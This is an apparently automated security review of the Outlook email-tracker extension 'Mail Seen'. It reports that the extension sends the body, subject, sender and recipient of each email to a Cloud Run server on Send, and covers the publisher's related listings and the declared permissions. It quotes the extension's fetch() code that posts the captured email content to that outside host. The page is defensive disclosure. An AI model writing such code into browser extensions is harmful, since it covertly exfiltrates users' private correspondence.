Is Mail Seen - Unlimited Email Tracker for Outlook safe?

Medium risk

Mail Seen sends the full body, sender, recipient and subject of Outlook emails to its server when you click Send.

When you click Send in Outlook on the web, the extension's content script reads the compose body text along with the sender, recipient and subject. It posts these to an external Google Cloud Run endpoint, together with a tracking ID. Open tracking only needs the ID, so the body text goes beyond what that feature requires.

Strong link to a flagged operator: 1 of the 2 other listings from the same operator is rated high or critical for malicious behaviour. Flagged: Mail Seen - Unlimited Email Tracker for Gmail (high).

Mobile Internet Limitedv1.6Chrome Web Store
49Risk
Who publishes it

Mobile Internet Limited - 2 other listings from the same operator, 2 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Mobile Internet Limited
Declared legal entity
Mobile Internet Limited
Website
www.mailseen.com/

Same store account

2 other listings published from this account, 6k+ users between them. 2 of them carry a finding.

Mail Seen - Unlimited Email Tracker for Gmail5k+HighMail Seen - Unlimited Email Tracker for Yahoo576Medium

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

authapi-f6o7ittoia-uc.a.run.app
Also called by 1 other listing: 100% Invisible - Tracking Blocker for Gmail | Ghost Mode

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Mail Seen posts your Outlook email body and addresses to a third party on Send

Code analysis shows that clicking Send in Outlook web posts the message body, subject, sender and recipient to authapi-f6o7ittoia-uc.a.run.app/track2.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You click Send on an Outlook web message.

Applies on outlook.live.com, outlook.office.com and outlook.office365.com.

The extension did this

The extension posts the body, subject and addresses to its own server.

JSON body of the POST to /track2
  • Message body
    Hi Dana, attached are the Q3 payroll figures we discussed.

    Everything typed in the draft, as plain text.

  • Sender address
    jordan.lee@contoso.com

    The mailbox you send from.

  • Recipient
    dana.price@fabrikam.com

    Who the message is addressed to.

  • Subject
    Q3 payroll figures

    The subject line of the message.

  • Date
    2026-09-18

    The day the message was sent.

  • Random ID
    k3x9qa

    Short ID linking this record to the tracking image.

The code that does this

Body text is read from the compose box and included in the request

Readable version

Body capture

Content Actions/email-tracking.js
const bodyContent = bodyElement.innerText; // Extract the text content of the email body

Request to the third-party host

Content Actions/email-tracking.js
function sendAdditionalTrackingData(senderEmail, recipientEmail, subject, timestamp, randomId, bodyContent) {    fetch('https://authapi-f6o7ittoia-uc.a.run.app/track2', {        method: 'POST',        headers: { 'Content-Type': 'application/json' },        body: JSON.stringify({            senderEmail: senderEmail,            recipient: recipientEmail,            subject: subject,            timestamp: timestamp,            randomId: randomId,            bodyContent: bodyContent // Add this line to include the body content        })    })
Destination named in the code
    • authapi-f6o7ittoia-uc.a.run.app

    Google Cloud Run endpoint receiving /track2 posts and serving the tracking image; operator not identified.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on outlook.live.com

    https://outlook.live.com/

  • Read and change your data on outlook.office.com

    https://outlook.office.com/

  • Read and change your data on outlook.office365.com

    https://outlook.office365.com/

  • Read and change your data on authapi-f6o7ittoia-uc.a.run.app

    https://authapi-f6o7ittoia-uc.a.run.app/

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • See which of your requests its blocking rules matched

    declarativeNetRequestFeedback

Where it sends data

Destinations our analysis observed Mail Seen - Unlimited Email Tracker for Outlook contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • authapi-f6o7ittoia-uc.a.run.app

    Mail Seen - Unlimited Email Tracker for Outlook sends data to authapi-f6o7ittoia-uc.a.run.app. 2 other extensions we have analysed send data here.

Updated 15 October 2026ihcdhfhodopdlmchbjpnijehipfbnfip